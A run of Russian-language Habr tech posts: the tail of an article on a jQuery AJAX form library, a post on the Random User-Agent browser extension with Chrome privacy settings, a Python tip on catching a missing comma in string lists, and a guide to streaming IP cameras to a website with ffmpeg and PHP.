А учитывая то, что форм в крупных проектах достаточно много, то такие обработчики для каждого типа форм в результате образуют весомый объём кода. А ведь часто, формы достаточно простые, такие как «форма обратной связи», нам нужно всего лишь отправить форму и показать статус — отправлено письмо или возникла ошибка. С помощью описываемой в данной статье библиотеки можно вовсе не писать код для таких простых форм.
Приступлю к описанию возможностей.
Поддержка html5 атрибутов для старых браузеров
----------------------------------------------
Благодаря атрибутам `form, formaction, formmethod, formenctype, formtarget` можно гибко изменять поведения отправки формы. Самый часто встречающийся пример — выбор операции над множеством объектов, выбираемых пользователем с помощью checkbox:
**Код примера**
```
Выбрать
Добавить в корзину
Выбрать
Добавить в корзину
...
Переместить
Удалить
```
С пощью атрибутов `form` и `formaction` мы смогли решить проблему невозможности вложенных форм, а также выбор url контроллера в зависимости от действия.
Библиотека предоставляет polyfill для браузеров, которые не поддерживают данные атрибуты (IE<10).
[Демо](http://paulzi.ru/paulzi-form/#polyfill)
Блокировка повторной отправки и отображение состояния
-----------------------------------------------------
Думаю, с этим встречались многие не раз, что пользователь нажимает кнопку отправки формы несколько раз, и в результате вместо, например, одного комментария, публикуются сразу три одинаковых. Очень часто, чтобы избежать подобного эффекта, просто пишут скрипт, который делает кнопку отправки disabled после нажатия, забывая при этом, что форму можно ещё отправить с клавиатуры.
Библиотека также добавляет класс `form-loading` когда происходит процесс отправки, благодаря этому можно с помощью CSS застилить это состояние формы так, как захочется.
Если всё же требуется возможность повторной отправки формы до завершения предыдущей, то достаточно добавить класс `form-no-block`.
[Демо](http://paulzi.ru/paulzi-form/#default-behavior)
Фильтрация пустых полей при отправке
------------------------------------
Данная возможность может пригодиться для форм поиска/фильтрации товара, в которых много полей, для того, чтобы URL выглядели более наглядно. Согласитесь, что увидеть в адресной строке лучше
`example.com/?price_to=1000`
чем
`example.com/?price_to=1000&price_to=&amount_from=&amount_to=`
Просто добавьте класс `form-no-empty` к форме.
[Демо](http://paulzi.ru/paulzi-form/#no-empty)
AJAX отправка формы
-------------------
Это, пожалуй, одна из главных функций библиотеки. Отправлять формы через AJAX умеют многие плагины, а вот отправлять форму также, как это делает браузер — к сожалению, нет. В частности, в ней реализована поддержка описываемых выше html5 атрибутов `form`, `formaction`, `formmethod`, передача параметров активной submit-кнопки и координат для . Для того, чтобы передача формы осуществлялась через AJAX надо добавить CSS-класс `form-ajax` к форме, а для отображения результата — добавить в произвольное место внутри формы тег или другой тег с классом `form-output`. Можно указать элемент вне формы, для этого в атрибуте `data-form-output` указать jQuery-селектор этого элемента. Аналогичный атрибут можно использовать и в корневом элементе ответа (он более приоритетный). А если корневой элемент ответа имеет CSS-класс `form-replace`, то в качестве элемента вывода будет использована сама форма, причём она заменится, что очень удобно для «одноразовых» форм. Рассмотрим это на примере формы обратной связи:
**Код формы обратной связи**
```
Имя
Email
Сообщение
Отправить
```
```
// контроллер на примере Yii 2
public function actionCallback() {
$model = new CallbackForm();
$model->load(Yii::$app->request->post())
if ($model->validate()) {
// тут отправляем письмо, успех статус в $success
if ($success) {
return 'Сообщение отправлено';
}
}
return 'Ошибка отправки';
}
```
Алгоритм такой — форма отправляется через AJAX, и если она проходит валидацию и ошибок в отправки нет, то выводим Bootstrap Alert что всё в порядке, причём он заменит собой форму. Если же есть какие-то ошибки, выводим их в тег . И заметьте, нет ни строчки JavaScript. Библиотека имеет поддержку Bootstrap Alert, так, что он автоматически делает `alert-dismissible` и самостоятельно добавляет кнопку закрытия.
Для AJAX-форм генерируются следующие события:
* `formajaxbefore` — перед отправкой формы, позволяет изменить все настройки `$.ajax`;
* `formajaxdone` — в случае успешной отправки;
* `formajaxfail` — в случае возникновения ошибки;
* `formajaxalways` — в любом случае, после завершения AJAX-запроса.
В целом, это тоже облегчает написание своих скриптов, т. к. позволяет навешивать код прямо на событие успешного ответа, минуя рутину с передачей URL и параметров. В событиях можно отменить поведение скрипта по-умолчанию, достаточно вызвать `e.preventDefault()` — никаких манипуляций с выводом контента не будет происходить.
Если же, наоборот, подгружаемый контент нужен и, более того, содержит другие компоненты, которые надо проинициализировать (например, datepicker). Для этого библиотека генерирует ещё два события:
* `contentprepare` — до добавления контента в DOM;
* `contentinit` — после добавления контента в DOM.
Для себя я сделал вывод, что мне проще иметь одинаковую процедуру инициализации всех плагинов, поэтому пришёл к такому процессу:
```
$(function () {
$(document).trigger('contentinit', [$(document)]);
});
$(document).on('contentinit', function (e, cont) {
cont.find('.datepicker').datepicker();
});
```
То есть при загрузке страницы мы также генерируем событие `contentinit`, на который навешиваем обработчик, инициализирующий все плагины.
[Демо](http://paulzi.ru/paulzi-form/#ajax)
AJAX отправка файлов
--------------------
Отправить без перезагрузки страницы форму с файлами ещё сложнее, т. к. устаревшие браузеры этого вообще не умеют, и тут нужен iframe-метод для эмуляции этого процесса. Здесь я не стал изобретать велосипед, и отдал данный функционал полностью на плечи [malsup jquery.form](http://malsup.com/jquery/form/) плагину, оставив лишь единый способ его отправки. На стороне сервера всё выглядит также, как если бы вы отправляли формы стандартным способом.
Чтобы отправить форму с файлами, необходимо подключить malsup jquery.form плагин и указать enctype=«multipart/form-data». Для пересылаемой данным способом формы дополнительно будет генерироваться событие:
* `formajaxprogress` — событие, информируещее о текущем состоянии отправки.
[Демо](http://paulzi.ru/paulzi-form/#ajax-files)
AJAX редирект
-------------
Ещё одна небольшая полезная мелочь. Чтобы заставить страницу перейти на новую (осуществить редирект), просто укажите заголовок `X-Redirect`, значение которого — URL для перехода.
[Демо](http://paulzi.ru/paulzi-form/#ajax-redirect)
Кнопка, для классического субмита в AJAX-форме
----------------------------------------------
Можно сделать так, что в AJAX-форме будет одна или несколько кнопок, которые отправляют форму обычным способом. Например, я это использую на странице корзины — когда пользователь меняет количество товара, то применяется AJAX для сохранения изменений. Когда же он нажимает кнопку «Перейти к оформлению», происходит обычная отправка той же формы.
[Демо](http://paulzi.ru/paulzi-form/#no-ajax-button)
Изменение внешнего вида кнопки отправки формы
---------------------------------------------
Библиотека предоставляет ещё несколько хелперов для того, чтобы изменить вид кнопки отправки для того, чтобы пользователи понимали, что форма в процессе отправки. Для этого добавьте к кнопке CSS-класс `btn-loading`, а также используйте одну или обе возможности:
1. aтрибут `data-loading-text` — меняет текст кнопки во время отправки формы на указанный в атрибуте, а после завершения, возвращает обратно;
2. aтрибут `data-loading-icon` — добавляет к кнопке значок, показывающий процесс загрузки.
Например:
```
Submit
Submit
```
Дополнительно можно указать для одной или нескольких кнопок класс `btn-submit-default`, тогда если форма будет отправлена с клавиатуры, кнопки всё равно изменят свой вид.
[Демо](http://paulzi.ru/paulzi-form/#button-loading)
Алерты для форм
---------------
Иногда бывает нужно, что надо отобразить пользователю какие-то предупреждения или сообщения об ошибках в форме, например, об ошибках валидации. Библиотека предоставляет простой интерфейс для добавления bootstrap alert-ов в элемент вывода формы. Используется так:
```
$('form').formAlert('Ошибка! Заполните **обязательные поля**!', 'danger');
$('form').formAlert('#external-alert', 'success', true);
```
[Демо](http://paulzi.ru/paulzi-form/#form-alerts)
Заключение
----------
Библиотека доступна в репозитариях npm и bower под наименованием `paulzi-form`:
```
bower install paulzi-form
npm install paulzi-form
```
Она достаточно молодая, поэтому жду отчётов об ошибках на гитхабе. Буду рад, если кому-то скрипт тоже облегчит жизнь, как и мне.
[Проект на GitHub](https://github.com/paulzi/paulzi-form) | https://habr.com/ru/post/261347/ | null | ru | null |
# Random User-Agent — версия вторая
Прошло два года с того момента, как вышла первая версия этого расширения для Chromium-based браузеров (работает в Google Chrome, Yandex.Browser и т.д[.](https://blog.kplus.pro/)), задача которого проста и понятна — скрывать настоящий User-Agent. На данный момент это расширение работает у +6.000 пользователей *(что очень скромно)*, и несколько дней назад получил на почту письмо с просьбой его немного доработать. Оценив состояние кода, к которому два года никто не притрагивался, было решено — переписывать его с нуля. Четыре дня работы, и вуаля — встречаем свежую мажорную версию, значительно улучшенную и с новым функционалом.
Под катом будут некоторые мысли как по поводу чуть-более анонимного веб-серфинга, так и настройке браузера Google Chrome, и почему это расширение может быть полезно. Чуть-чуть опытные анонимусы не найдут в посте для себя чего-либо интересного, поэтому как для них, так и для самых нетерпеливых, традиционно — [исходники на GitHub](https://github.com/tarampampam/random-user-agent) и расширение в **[Google Webstore](https://goo.gl/5zl2hW)**.
### Об анонимности
Не буду говорить о том, что есть смысл пускать весь внешний сетевой трафик через VPN/OpenVPN/Tor и прочие шифрованные туннели; не буду говорить и о том, что если компетентным лицам, обладающими достаточными ресурсами понадобиться схватить тебя за задницу, скорее всего — они схватят *(ты же не пользуешься только мобильным интернетом в странах третьего мира по анонимным сим-картам, постоянно перемещаясь, и глядя в сеть только с помощью telnet-а через Tor?)*.
Анонимность и удобство веб-серфинга, всё чаще — вещи взаимоисключающие. 3rd party cookies — это очень удобно *(не надо авторизовываться на ресурсах, использующих единую авторизацию)*, но они же позволяют успешно отслеживать ваши перемещения по другим ресурсам. Использование proxy/socks дают дополнительные средства сокрытия реального IP адреса, но они порою успешно определяются многими ресурсами *(авито, пикабу — к примеру)*, и из-за их использования — доступ к ресурсу для тебя закрывают. Использование агрессивных AD-блокеров определяются сайтами, и они бережно просят отключить их. Поэтому и приходится балансировать на грани — удобство, или безопасность.
Да, для меня безопасность является синонимом к слову анонимность. "Нет, мне нечего скрывать, но это совершенно не ваше дело" (с) хабражитель.
Я пользуюсь различными браузерами. Одновременно довольно часто запущены и FireFox, и TorBrowser, и Google Chrome *(его то и использую чаще всего)*. В разных браузерах различные наборы плагинов/прокси, и соответственно разные настройки. Каждый из них заслуживает отдельного разговора, но сейчас я бы хотел вновь поговорить именно о Google Chrome. Ниже я перечислю настройки этого браузера по умолчанию которые, возможно, следует изменить:
* Настройки синхронизации избыточны;
+ "Настройки" > "Дополнительные настройки синхронизации" > Отмечаем лишь "Сервисы", "Расширения", "Настройки" и "Закладки" *(этот список можно сократить до "Расширения", "Настройки")*;
+ Там же включаем шифрование с помощью кодовой фразы;
+ Переходим [по ссылке](https://myaccount.google.com/activitycontrols) и выключаем всё;
* Популярные поисковые системы отслеживают ваши действия;
+ Ставим в качестве поисковой системы *(вроде как анонимный)* `https://duckduckgo.com?q=%s`;
* Хранение файлов cookies разрешено для всех;
+ "Настройки" > "Настройки контента" > "Файлы cookie" > "Не разрешать сайтам сохранять данные" + "Блокировать данные и файлы cookie сторонних сайтов";
+ При посещении ресурсов, где поддержка cookies необходима для функционирования, нажимаем на "печеньку" в строке браузера > "Показать cookies и другие данные..." > "Заблокировано" > Те, которые необходимо хранить после закрытия браузера — отмечаем как "Разрешить", иначе — "Удалять при выходе";
+ Время от времени проверять списки исключений, удаляя из разрешенных всё лишнее;
* Максимальный срок хранения файлов cookies невозможно ограничить;
+ Ставим [Limit Cookie Lifetime](https://chrome.google.com/webstore/detail/limit-cookie-lifetime/pplilgolafepgkdmocfpgblngcpdlopm), выставляем лимит в 7 дней, к примеру. Да, раз в неделю придется перезаходить на свои ресурсы, но и треки более недели не будут актуальны *(если только анализатор треков не обладает добротной логикой)*;
* Запуск контент-плагинов *(и flash-решето входит в их число)* разрешен по умолчанию;
+ "Настройки" > "Настройки контента" > "Плагины" > "Заправить разрешение на запуск контента плагинов";
+ Открываем [эту ссылку](http://chrome://plugins/) и выключаем "Adobe Flash Player" *(при необходимости посмотреть онлайн-кино придется ручками временно включить обратно, но зато HTML5 плееры будут сразу понимать что флеша нет и корректно запускаться)*;
* Доступ камере, микрофону и пр. лучше запретить по умолчанию;
+ Всё те же "Настройки" > "Настройки контента" — самостоятельно запрещаем доступ ко всему, что не критично прямо сейчас;
+ Обязательно запрети "Доступ к плагинам вне тестовой среды" и определение местоположения;
* Отправка "Do Not Track" отключена;
+ Очень, очень сомневаюсь что кто-либо следует правилу не отслеживать тех, кто отправляет данный заголовок, поэтому реши самостоятельно — ставить его в "Настройки" > "Личные данные", или же нет;
* Пароли и формы сохраняются;
+ "Настройки" > "Пароли и формы" — обязательно выключаем оба чекбокса. Пояснять причину, думаю, смысла нет;
* Браузер подвержен утечке IP адреса по средствам WebRTC;
+ Ставим плагин [WebRTC Leak Prevent](https://chrome.google.com/webstore/detail/webrtc-leak-prevent/eiadekoaikejlgdbkbdfeijglgfdalml), разрешаем ему работать в режиме "Инкогнито", в настройках его указываем "Disable non-proxied UDP";
+ Проверяемся, к примеру, на [этой странице](https://www.browserleaks.com/webrtc);
* Referer отправляется безконтрольно, что позволяет всем ресурсам определять откуда вы к ним пришли;
+ Ставим [Referer Control](https://chrome.google.com/webstore/detail/referer-control/hnkcfpcejkafcihlgbojoidoihckciin), в настройках указываем "Referer Control status" — "Active", а "Default referer for all other sites" — "Block";
+ Некоторые сайты *(например — Habrastorage)* используют провекру referer-а, поэтому работа плагина может немного "доставать", но надо это пересилить, и научиться писать регулярки исключений;
* Отсутствует контроль запуска JS-скриптов, которые занимаются трекингом и аналитикой;
+ Ставим всем хорошо известный [Ghostery](https://chrome.google.com/webstore/detail/ghostery/mlomiejdfkolichcflejclcbmpeaniij), настраиваем на блокировку всего возможного;
* Любимые плагины для блокировки рекламы детектятся посещаемыми ресурсами и закрывают доступ к контенту;
+ Попробуй использовать менее популярные, но не менее эффективные. uBlock до недавнего времени входил в этот список, но крайнее время использую [Adguard AdBlocker](https://chrome.google.com/webstore/detail/adguard-adblocker/bgnkhhnnamicmpeenaelnjfhikgbkllg), так как он пока ещё мало кем детектится и памяти потребляет в разы меньше чем собратья.
О том, какое расширение использовать для проксирования и где брать прокси-листы — ответить тебе придется самому. Скажу лишь то, что лучше всего — использовать цепочки прокси, но от этого в 9 из 10 случаев скорость серфинга просто дохнет. Публичные прокси-листы не живучие совсем. Те, что приобретались за кровные — чуть более живучие, но не значительно. Халявы тут вообще не много, и для комфорта лучше всего приобрести собственный прокси-сервер (да, такие услуги предоставляют, и довольно много кто; при оплате не используй реальные карты, имена, ip-адреса — разумеется). О том что предварительно весь внешний трафик следует пускать через туннели — я не напоминаю, ты и так всё знаешь.
### Основные методы идентификации
> Заранее прошу прощения за использованную ниже терминологию. Она не совсем корректна, но, как мне кажется — более проста для понимания
Идентификация пользователя, определение что эти N запросов выполнил именно он, а не кто-то другой — является главным врагом анонимизации. Методы идентификации делятся на как минимум два больших класса — использующих стороны клиента и сервера соответственно. На стороне клиента в классическом подходе она может выглядеть следующим образом:
* Страница ресурса содержит в своем теле ссылку на JS-скрипт, например — google.analytics;
* Браузер отправляет на сервер, который хранит этот самый JS-скрипт GET запрос;
* Сервер отвечает контентом скрипта;
* Браузер исполняет полученный скрипт *(загружая дополнительные "модули" при необходимости)*, получает от браузера информацию о его версии, ОС, установленных плагинах, установленных шрифтах, разрешению экрана, локалях, системном времени, и прочей вкусной информации;
* Скрипт проверяет наличие уникальной плюшки, или устанавливет её для отслеживания ваших дальнейших перемещений в сети;
* Скрипт отправляет собранные данные + имя плюшки себе для хранения;
"Ну и чего такого?" — спросишь ты, и будешь чертовски прав. "Пускай собирают эти данные — мне не жалко!" — да-да, дружище! А пока ты так думаешь, давай немного займемся анализом. Для посещения сайтов ты использовал Google Chrome версии 52.0.2743.116 *(версия актуальная — у тебя включено автообновление)* под управлением Windows 10 *(минорная версия подсказывает что, возможно, у тебя не установлены крайние обновления и, как следствие, отключен Windows Update)* находясь в России и, предположительно, в городе Москва *(и часовой пояс соответствует)*, с IP провайдера "MTC", у которого данный пул привязан к Люблинскому району, скорее всего используя ноутбук (судя по разрешению экрана), и наверняка интересующийся покупкой нового автомобиля *(потому как до этого на сайте drom ты искал подержанную Мазду, и именно в Москве; на сайте drom, к примеру, стоит та-же аналитика)*. Судя по времени посещений — ты это делал с рабочего места и, наверное, в этом или соседнем районе и работаешь. Если твоя соц. сеть использует аналогичный сервис аналитики, то… То ты понял *(пример вымышленный, но не лишенный зерна здравого смысла)*.
Понимаешь, почему довольно важно следить за тем, какие скрипты запускает твой браузер? "Да я вообще выключаю JS по умолчанию!" — воскликнет кто-то в комментариях, и будет прав — так правильнее. Именно правильнее, а не удобнее. Тут надо тебе всё-таки выбирать, что для тебя важнее — безопасность, или комфорт. Сейчас 7 из 10 сайтов просто не заработают как надо без JS, и только тебе решать когда переходить на telnet и переезжать в страну третьего мира, попутная скупая анонимные сим-карты. Ghostery хорош, но даже если он бы давал 99% гарантию блокировки всех средств аналитики — 1% всё равно имеет место быть. Тут не может быть универсального правила, надо просто быть бдительным и чуть-чуть думать своей головой.
Как происходит идентификация на стороне сервера? Давай вспомним как выглядят access-логи http-демонов:
```
[meow@hosting /var/log]$ cat somesite.org.access_log | tail -3
10.12.11.254 - - [25/Jul/2016:15:51:16 +0700] "GET / HTTP/1.0" 200 5768 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)"
10.12.11.254 - - [25/Jul/2016:15:57:38 +0700] "GET / HTTP/1.0" 200 5768 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
10.12.11.254 - - [25/Jul/2016:19:19:25 +0700] "GET / HTTP/1.0" 200 5768 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"
```
Примитивнее. По-умолчанию сервер сохраняет о тебе 4 вещи:
* IP адрес, с которого пришел запрос;
* Время, когда он пришел;
* Какую страницу ты запросил;
* Какой у тебя User-Agent.
Грепнув логи по IP мы получим всех, кто мог прийти с твоего IP (если это IP на котором NAT — мы узнает кто из твоих соседей-абонентов ещё был). Грепнув же по User-Agent — мы получим почти наверняка именно конкретного пользователя. Плюс сможем посмотреть на какие страницы он ходил, в какое время и последовательности, а если есть дебаг-лог — то возможно и какие данные вводил на формах сайта, и какие плюшки у него в браузере.
### Шеф, что делать?
Избежать утечек информации на 99.8% возможно — но это очень неудобно в плане юзабилити. Если обобщить, то к самой критичной информации можно отнести твой IP (провайдер и местонахождение) и User-Agent (используемое ПО, ОС и их версии), так как они наиболее информативны и уникальны. Как скрыть реальный IP — мы уже говорили. Как скрыть User-Agent? Есть разные способы, и описанный ниже — просто один из многих. Возможно, именно он тебе покажется чуть удобнее.
С твоего позволения основные его "фишки" будут изложены в виде простого списка:
* Открытые исходники, [доступные на GitHub](https://github.com/tarampampam/random-user-agent) *(принимаю Pull-реквесты и включены Issues)*;
* Заменяет поле User-Agent в HTTP заголовках всех запросов;
* Компактное *(на момент написания этого поста — всего 45Кб в zip архиве)*;
* Используемый User-Agent генерируется случайным образом, подобный определенным типам браузеров и ОС *(настраивается; можно было бы использовать и один какой-то определенный, но этот подход работал бы лишь если очень много кто пользовался этим расширением — так бы пользователь "терялся" в куче)*;
* Автоматически подменяет User-Agent на случайный через заданный промежуток времени, по нажатию на кнопку, или при старте браузера;
* Умеет использовать заданный ручками User-Agent, а не использовать генерируемый;
* Настройки синхронизируются между браузерами *(настраивается)*;
* Включает в себя поддержку защиты от **определения User-Agent средствами JavaScript** (экспериментально) — то, о чем так долго просили *(mock запускается асинхронно, поэтому не во всех случаях успешно скрывает; на сколько мне известно — такого больше не умеет **ни одно** расширение — поправьте меня, если не прав)*;
* Поддерживает список исключений *(возможно использование масок в адресах)*;
* На данный момент русская, английская и украинская локализации;
* Бесплатно и без рекламы;
* Лицензия WTFPL ;)
Как выглядит?
**Скриншот страницы настроек**
Если у вас есть вопрос, предложение или багрепорт, но вы не можете о нем написать ни в WebStore, ни в комментариях на хабре — вот вам [волшебная ссылка](https://github.com/tarampampam/random-user-agent/issues/new). Хотел бы ещё написать и о том, как писал само расширение; как создал объект, который поддерживает события onGet и onSet произвольных свойств и сам хранит свои данные в хранилище; как пришел к решению реализовывать работу всех компонентов расширения с помощью своего, внутреннего API — но это совсем другая история, и исходники, возможно, расскажут её лучше. Пользуясь случаем скажу что был бы чертовски признателен в помощи перевода расширения на языки, отличные от русского и английского. Если таковое желание имеет место быть — просто создайте Issue в репозитории с темой "Помогу с переводом на %имя\_локали%", или бабахните Pull-Request.
Протестировать как работу плагина, так и свою анонимность ты можешь, например, [вот](https://2ip.ru/privacy/) [по](https://whoer.net/) [этим](http://www.ip-score.com/) [ссылкам](https://panopticlick.eff.org/). Но не стоит к результатам этих тестов относиться слишком серьезно.
И, с вашего позволения, продублирую ссылку на [расширение **Random User-Agent в WebStore**](https://goo.gl/5zl2hW).
> *Спасибо [nazarpc](https://habrahabr.ru/users/nazarpc/) за очень оперативный перевод на украинский язык и pull-request. Прям здорово!*
>
>
>
> *Если встретите очепятки, грамматические или пунктуационные ошибки в тексте — пишите о них в личку, пожалуйста.* | https://habr.com/ru/post/307574/ | null | ru | null |
# Python: надежная защита от потери запятой в вертикальном списке строк
 Списки строк в программах встречаются часто. Для удобства чтения их не менее часто форматируют вертикально, по одной строке. И есть в такой конструкции уязвимость — если при изменении списка потерять запятую между элементами, то многие языки просто склеют строки слева и справа от пропущенной запятой — в результате получится валидный с точки зрения языка список, в котором на один элемент меньше чем ожидается и один элемент имеет некорректное значение. Есть много способов профилактики этой проблемы, но недавно на stackoverflow мне показали настолько простой и надежный способ, что я просто не могу им не поделиться.
#### Демонстрация проблемы
Сначала посмотрим визуально как выглядит проблема. Типичный вертикальный список, в котором потеряна запятая:
```
languages = [
"english",
"russian",
"italian" # Печалька. Такое иногда бывает.
"spanish" ]
```
Если внимательно посмотреть, между строками «italian» и «spanish» пропущена запятая. Но при запуске такой программы ошибок не будет: Python просто склеит строки «italian» и «spanish», превратив наш список вот в это:
```
languages = [ "english", "russian", "italianspanish" ]
```
На практике такие опечатки встречатся не то чтобы очень часто — но к багам приводят знатным и долгоотлаживаемым.
#### Как бороться по-феншую
В соответствии c феншуем, данный ряд проблем необходимо отсекать статическими анализаторами кода типа lint в рамках автобилда. Но тут есть неприятный нюанс — pylint по умолчанию не считает пример выше ошибочным. Следовательно, придется его долго и муторно настраивать, потому как есть много вполне корректного кода, где строки склеиваются по делу и никаких запятых быть не должно. Плюс не у всех настроена связка pylint + autobuild, а поднимать полноценный continous integration с нуля только ради указанной проблемы не всегда с руки.
#### Как борются на практике
На данный момент есть два популярных способа борьбы с этой проблемой. Первый заключается в том, чтобы оканчивать каждую строку запятой, включая последнюю, а терминатор списка писать на отдельной строке. Это позволяет в большинстве случаев избежать проблем при копипасте строк и удалении строк:
```
languages = [
"english",
"russian",
"italian",
"spanish", # Если переместить этот элемент вверх, запятые не поломаются.
]
```
Минусом первого способа является то, что он защищает только от ошибок копипасты — но не защищает от опечаток и результатов применения к тексту скриптов.
Второй способ заключается в тактической установке запятых не после элементов, а перед ними. Это вытраивает красиву вертикальную черту, в которой пропуски видны невооруженным глазом:
```
languages = [
"english"
, "russian"
, "italian"
, "spanish"
]
```
Недостатком данного способа является отсутствие защиты у первого элемента (если его куда-нибудь переместить, то будет потеря запятой) и ~~некавайный~~ непривычный внешний вид. Совсем непривычный. Плюс такая же уязвимость переда скриптами как и в первом способе — массовая вивисекция текста регулярным выражением не заметит красивую вертикальную черту.
#### Новый способ
Был подсказан гуру на stackoverflow. Не могу сказать что он особо красив или удобен — но он прост и надежен. При потере запятой случается ошибка выполнения скрипта. Способ заключется в окружении каждой строки круглыми скобками — это превращает epression типа строка в сложносоставной expression, который уже склеивать нельзя:
```
languages = [
("english"),
("russian"),
("italian") # Теперь потерянная запятая - синтаксичекая ошибка.
("spanish") ]
```
Вот такое неожиданное решение. Надеюсь, послужит кому-нибудь источником вдохновения. Приятных выходных, коллеги :) | https://habr.com/ru/post/134080/ | null | ru | null |
# Самый простой (для знающих Linux) и дешевый способ разместить IP-камеру на сайте для небольшой аудитории
В чем главная проблема современных недорогих IP-камер? Вы не можете просто так добавить их на свой сайт! Они выдают видео совсем не в том формате, который понимают браузеры. Да, конечно, можно зайти напрямую на камеру (и часто только с IE), и у многих моделей есть «облако». Но проблема остается — я не могу просто так взять и поместить камеру на сайт, как например, простую картинку!
Я рассмотрел множество решений для организации трансляций с IP-камер от разных поставщиков, в том числе и OpenSource решения. У большинства один недостаток, очень критичный для меня: система постоянно захватывает поток с камеры, даже если нет зрителей.
В моем случае нужно было вывести картинку на сайт с удаленных камер, подключенных по 4G каналу в глухом районе. Скорость на отдачу не поднималась выше 10 Мбит/с в лучшие времена, но обычно она была 2-3 Мбит/с. Трафик хоть и неограничен, но провайдер неофициально предупредил, что расход выше 200 ГБ трафика непременно скажется негативным образом, такой вот условный «безлимит». Предполагаю, просто «порежут» скорость.
Некоторые решения, найденные на просторах GitHub, практически подходили, но не обладали хорошей документацией или казались просто сложными и громоздкими.
А была мне нужна система онлайн-трансляций с такими свойствами:
1. не расходующая трафик в отсутствие зрителей;
2. среднедневное одновременное число зрителей — 1-3 человека;
3. поддержка если не всех, то большинства популярных интернет-браузеров, в том числе мобильных;
4. максимально простая и понятная;
5. недорогая;
6. желательно OpenSource.
Имея богатый опыт работы с программой FFMpeg, весь этот функционал я решил попробовать реализовать самостоятельно. В конце концов, чем плох «велосипед», сделанный своими руками, если есть желание и время?
Но тут вы наверняка скажете «зачем на свой сайт, ведь есть iVideon?» и будете правы. Действительно, этот сервис практически не потребляет трафик, когда трансляция неактивна, очень простой в развертывании и вообще классный. А еще весьма дорогой, когда камер много и много зрителей, которым нужно передать права (никаких публичных ссылок). И забавно, зрителю тоже нужно оплачивать подключение каждой новой камеры сверх лимита (во всяком случае, год назад было именно так). Постепенно условия сервиса менялись, и вот теперь на бесплатном аккаунте можно разместить лишь одну камеру, и передать права лишь одному пользователю. И это уже не говоря о том, что в идеале потребуются камеры или видеорегистраторы с «iVideon-овской» прошивкой.
По моим наблюдениям, оказалось, что такие браузеры, как Google Chrome и Mozilla Firefox, спокойно воспроизводят правильно подготовленный H.264-поток с камеры. Под «правильной подготовкой» имеется ввиду переупаковка потока программой FFMpeg со следующими параметрами:
`-movflags +frag_keyframe+separate_moof+omit_tfhd_offset+empty_moov`
Эти опции подсказывают FFMpeg, что на выходе мы хотим получить фрагментированный MP4-файл с наличием атома moov в начале файла и последовательность атомов moof с интервалом в один ключевой кадр.
Из прочих параметров я задавал еще такие:
«`-c copy`» для копирования потока без перекодировки;
«`-an`» — без аудио (почему-то всё ломается, если камера не передает аудиопоток, а таких камер много);
«`-t лимит`» для ограничения времени одного сеанса (конкретно у меня трафик ограничен, экономим на всём);
«`-rtsp_transport tcp`» — проще тем, что не требуется пробрасывать RTP-порты, если камера находится за NAT (поддерживается практически всеми камерами);
«`-probesize 32`» — эта команда ускоряет воспроизведение видео;
«`-stimeout 5000000`» — тайм-аут чтения потока (5 секунд).
Хорошо, а причем тогда здесь PHP? А нужен он вот зачем. Посылаем необходимые заголовки:
`header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");`
`header("Cache-Control: post-check=0, pre-check=0", false);`
`header("Pragma: no-cache");`
`header('Accept-Ranges:bytes');`
`header('Connection:keep-alive');`
`header('Content-type: video/mp4');`
И средствами PHP запускаем FFMpeg с перенаправлением потока напрямую в браузер зрителя:
`passthru("ffmpeg <параметры кодирования и ссылка на поток> -f mp4 pipe:");`
И все было бы отлично, но видео грузится несколько секунд, и не воспроизводится в Safari на Mac и iOS. То ли особенность реализации кодека там такая, то ли просто фрагментированные MP4 толком не поддерживаются, не знаю — перепробовал все варианты. Еще заметил, что видео начинает «моргать» в браузере Google Chrome, если не обождать пару секунд перед стартом воспроизведения.
Самый простой способ решения проблемы, который пришел мне в голову — а почему бы не пустить сначала перекодированный в MJPEG поток, а после, когда прогрузится основной MP4, — сделать замену? У этого формата масса плюсов — простой, поддерживается наверно вообще всеми браузерами, очень нетребователен к ресурсам сервера, но … очень прожорлив в плане размера выходного файла, и как следствие, расходуемого трафика. Поэтому по максимуму урежем качество картинки, лишь бы работало.
И знаете, получилось весьма сносно. Я доработал первоначальный скрипт, и теперь он:
1. умеет выводить видео и в других форматах: OGV и WEBM;
2. умеет выдавать по запросу статичную картинку (снимок);
3. если видит, что вкладка с ранее открытым видео была в фоне при запуске браузера, то переадресует на указанный вами сайт (например, каталог камер), таким образом, экономя ресурсы;
4. не стопорится в Яндекс-браузере на Mac. Там кодек тоже как-то хитро работает — до второго ключевого кадра воспроизводит, а потом всё. Для него пришлось делать дополнительную проверку, вдруг видео «сломалось». Safari поступает более мудро — просто не воспроизводит и всё.
Кажется, получилось уже много текста, поэтому перейдем к самому интересному — как его установить на свой сервер. Установка скрипта проста:
1. берете сервер, например, с Debian, ставите Apache+PHP7 и FFMpeg;
2. получаете SSL-сертификат для своего сервера;
3. копируете файлы моего скрипта в любую доступную по www папку;
4. открываете camera.php и указываете свой ключ (придумываете; допустима латиница и цифры) в переменной $key, а в $redirectToIfBackground указываете, куда переадресовывать из фоновых вкладок;
5. cоздаете ссылки на камеры с помощью прилагаемого файла "linkgen\_ru.html" (открыв его в браузере). Размещаете полученные ссылки на страницах своего сайта трансляций.
И вроде бы на этом всё, но без одной маленькой детали рассказ был бы неполным. Если вы планируете сайт с камерами сделать на MODX Revolution, то используйте приложенный плагин, упрощающий работу по размещению ссылок. Инструкция по установке плагинов есть в документации к этой CMS. После установки плагина откройте его на редактирование и в начале файла подставьте свои значения в $key и $camera\_server\_url (иными словами — замените текст, выделенный заглавными буквами, своим ключом и адресом сервера).
После его установки, в тексте ваших страниц ссылки на камеры теперь можно указывать в таком виде:
`{camera*НАЗВАНИЕ*RTSP-ССЫЛКА*RTSP-ССЫЛКА НА ВТОРОЙ ПОТОК}`
Название и RTSP-ссылки подставляете свои. Если нет ссылки на второй поток, то дублируете ссылку основного потока. Если есть затруднения с поиском RTSP-ссылок на вашу камеру, то можно использовать программу Onvif Device Manager. Она покажет ссылку снизу слева, по клику на «Живое видео».
